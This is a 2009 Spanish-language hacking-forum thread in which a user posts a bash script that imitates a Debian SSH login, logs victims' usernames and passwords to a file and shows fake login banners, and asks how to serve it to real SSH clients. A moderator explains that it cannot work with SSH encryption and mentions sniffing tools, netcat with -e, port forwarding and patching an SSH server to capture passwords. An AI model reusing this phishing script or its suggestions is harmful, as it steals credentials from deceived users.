elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
27 Mayo 2012, 21:03  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado
| | |-+  Hacking Linux/Unix (Moderadores: kamsky, TRICKY, berz3k)
| | | |-+  Falso Login SSH
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Falso Login SSH  (Leído 3,241 veces)
H@T


Desconectado Desconectado

Mensajes: 540



Ver Perfil WWW
Falso Login SSH
« en: 26 Mayo 2009, 01:25 »

Hola gente, como va todo?

Les comento que estoy intentando hacer un falso login SSH, el script lo intenté hacer exactamente igual al login de ssh de debian, aca les dejo el script:

Código:
#!/bin/bash
clear
IP=`ifconfig | grep inet | grep Bcast | cut -d ":" -f2 | cut -d " " -f1`
echo -n login as:" "
read user
stty -echonl -echo
echo -n $user@$IP"'s" password:" "
read pass
echo $user: $pass >> pass.txt
echo
stty -echonl echo
cat /etc/motd
LAST_FECHA=`lastlog | head -2 | grep -v Username | cut -d " " -f23-26,28`
LAST_IP=`lastlog | head -2 | grep -v Username | cut -d " " -f18`
echo "Last login:" $LAST_FECHA from $LAST_IP
bash

Ahora bien, la cuetión es que no se como dejar escuchandolo, ya que probé con netcat en el puerto 22 y pruebo conectarme por ssh y nada, la unica forma de conexion es desde otra pc con netcat también (anda bien), pero obviamente los usuarios que se conectan lo hacen por ssh, no por netcat.

Tambièn probé modificando en el /etc/paswd el interprete de comandos /bin/sh por /home/script.sh, pero tampoco queda bien.

Otra de las cosas que tampoco se como hacer es cuando hago un exit, queda el verdadero login, como puedo hacer para cuando hago el exit mate ambos bash?

Espero les sirva y espero me ayuden a solucionarlo.

Saludos



 


« Última modificación: 26 Mayo 2009, 01:27 por H@T » En línea

H@T
http://www.redes-seguridad.com.ar
redes-seguridad.blogspot.com/
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Falso Login SSH
« Respuesta #1 en: 26 Mayo 2009, 20:53 »

Que tal.

El caso es que lo que quieres es sniffar los usernames y passwords creando un "rogue && lame" server con Bash!
Hmm... yo para SHHV1 claro, pensaria en Dsniff y sshmitm, o Ettercap. O sea, quedandote con logueos desde el exterior al interior envenenando al router y al server SSH..

Pero el caso es hacerlo como tu quieres aqui.
Lo que intentas no es muy practico, ya que intentas establecer una conexion ssh la cual hace uso de certificados y de encriptamiento y tu usas un simple script que devuelve puro texto plano, ni negocia nada de certificados ni historias.

Por mucho que te lo montes con Ssh Port Forwarding o lo que sea, tu aplicacion no tiene la habilidad de hablar y establecer la conexion cifrada. Por lo cual, es mejor como un Rogue Telnet Server.. no crees!!?? :___).

Bueno, Saludos.

   /**** MODIFIKO ****/

Si no, para que estaria Ssh??!! Si se pudiese hacer lo que tu dices, ssh no serviria de nada!!
Recuerda que las 2 mociones mas importantes de ssh son:
- encyptar la sesion para evitar sniffing
- autenticar al Servidor Ssh ( mediante llaves publicas )

Ademas pues nos da una Shell ( la que intentas escupir con bash... ) y demas.


   /**** MODIFIKO2 ****/

Citar
a que probé con netcat en el puerto 22 y pruebo conectarme por ssh y nada

Claro hombre!! Netcat trabaja en texto plano!!

   /**** MODIFIKO3 ****/

Es que pienso yo, que para que la cosa surgiera deberias/n de usar el cliente en texto plano.
O sea, si que existe Ssh Forwarding/Tunneling para asegurar protocolos inseguros, pero no se va a usar ssh como cliente, sino el cliente de la aplicacion ( seguramente Cliente-Servidora ) insegura.

Por ello imaginemos un ssh Local Forwarding asi:

# ssh -fNL 1025:192.168.1.65:25 user@192.168.1.65

Asi, si hicieramos en otro terminal ( aunque con fN pasa a segundo plano.. )
# nc localhost 1025

/* NOTA: asi por defecto se bindea a localhost. Si tuvieramos que bindear en la ifaz de Red de nuestra maquina en vez de localhost, y esa IP fuera 192.1681.64 pues seria algo asi
# ssh -fNL 192.168.1.64:1025:192.168.1.65:25 user@192.168.1.65 )  
Asi tras ello podriamos hacer:
# nc 192.168.1.64 1025
*/

No esta el hilo planteado para explicar los Locals y Remote Forwardings.. por ello no explico el Remote.
Pero no esta demas visto lo visto no??
Incluso a mi me entran ganas de enredarme!!! Argghhh!!!!!!!!

Estariamos conectando con el servidor ( si es que lo hay! ) SMTP en 192.168.1.65 a traves del Tunnel Ssh.
El tunnel se establece si podemos hacer ssh a la maquina objetivo.. ( user@192.168.1.65 ).

Que pasaria si tras setear el Tunnel hacemos
# ssh -p 1025 localhost
??

Pues yo creo que nada, pues no hay un servidor Ssh en el otro extremo no??
La gracia reside en eso: en usar aplicaciones inseguras ( con sus clientes y servidores ) para hacerlas seguras en estos casos, o para saltarse reglas de filtrados en otras...

Bueno, pues me pico el enredo y ahi voy con el Remote Forwarding.
Imagina que estas en una maquina la cual no es accesible desde el exterior a su puerto 23.
La maquina del exterior se llama Humo y la maquina de dentro Lava. Pues Humo quiere acceder a Lava en el puerto 23, y tiene o ha tenido acceso a Lava y ha podido poner un Tunnel Ssh asi:

# ssh -fN -R 13337:localhost:23 user@Humo
/* Nota: se supone que en Humo hay un Server ssh corriendo y que se puede hacer ssh desde Lava a Humo */

Pues ahora, si una vez dentro Humo alguien hace un
# telnet localhost 13337

sera redireccionado a traves del tunnel ssh hacia el puerto 23 en Lava, habiendose ocurrido todo en el Tunnel Ssh y por ello pudiendose producir a pesar de las reglas de filtrado.

Se pueden hacer muchas mas cosas, pero ya me sali del tarro con esto.

Por ello no creo que podamos usar Ssh para este tipo de casos en los que estan implicadas aplicaciones inseguras ( texto plano ); sino que deberiamos de usar sus clientes inseguros :___________/


« Última modificación: 26 Mayo 2009, 21:49 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
TRICKY
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.605


Ver Perfil
Re: Falso Login SSH
« Respuesta #2 en: 26 Mayo 2009, 23:20 »

Que tal.

Bueno, quizas haya sido una **** de explicacion..
No es que solo se puedan tunnelear protocolos inseguros eh.. que acabo de comer y releer y puede que parezca que digo eso. No.

En realidad se puede tunnelear cualquier trafico/puerto TCP.

De hecho, rdesktop se puede tunnelear de formas muy curiosas con Ssh Forwarding.


Saludos.


   /**** MODIFIKO ****/

Jue.. pero, el servicio/protocolo que se tunnelee, tendra que hablar el mismo idioma de un extremo a otro no!!? ( es decir, de cliente a servidor )

Ademas, en caso de que haya 3 participes digamos cliente, server ssh y un server con una aplicacion a conectar
# ssh -fNL 1025:192.168.1.65:23 user@192.168.1.64
/* NOTA: aqui
1025: puerto local a bindear
192.168.1.65: server con aplicacion telnet
192.168.1.64: server ssh dentro de la misma subnet y que puede alcanzar a 192.168.1.25:23

Tras ello desde el PC desde donde se ejecuto el anterior comando
# telnet localhost 1025
*/

la comunicacion solamente iria asegurada ( por el tunnel ssh ) SOLO desde el cliente hasta el server ssh. Tras conectar con la otra parte del tunnel ( el server ssh ) el mismo server ssh relevaria la conexion hacia 192.168.1.64:23 SIN ENCRYPTAR.

Para un dibujo explicativo sobre lo ultimo:
http://www.ssh.com/support/documentation/online/ssh/winhelp/32/Local_And_Remote_Forwarding.html


Saludos.


   /**** MODIFIKO ****/

Por ello lo que te dije anteriormente, imagina si haces ssh directamente a tu script en Bash esta claro que es un KoS. Ahora, imagina que se te pasas por la cabeza hacer un Port Forwarding con Ssh a tu script..
Pones tu script a correr:
# nc -l -p 5001 -e ./ssh-fake

Haces ssh forwarding ( local ) asi: ( tu ifaz eth0 tendria IP 192.168.1.64 )
# /sbin/service sshd stop
# `which sshd` -p 25
# ssh -fNL 192.168.1.64:22:192.168.1.64:5001 192.168.1.64

y tras ello intentas hacer un
# nc 192.168.1.64 22

pues diras Bieeeennn! .. Claro, estas usando netcat y es texto plano lo que va dentro del envoltorio encryptado que propone ssh. La aplicacion cliente ( nc ) se entiende con la servidora ( ssh-fake ).
Ahora, prueba
# ssh -p 22 localhost

y veras como, al no entenderse la aplicacion cliente ( ssh ) con la servidora ( script en texto plano ssh-fake ) no se puede proceder a la comunicacion.

Podrias intentar parchear tu servidor ssh para quedarte con las contrasenias, pero eso imagino sera otra historia.

« Última modificación: 26 Mayo 2009, 23:48 por averno » En línea

"La envidia es una declaración de inferioridad"
Napoleón.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines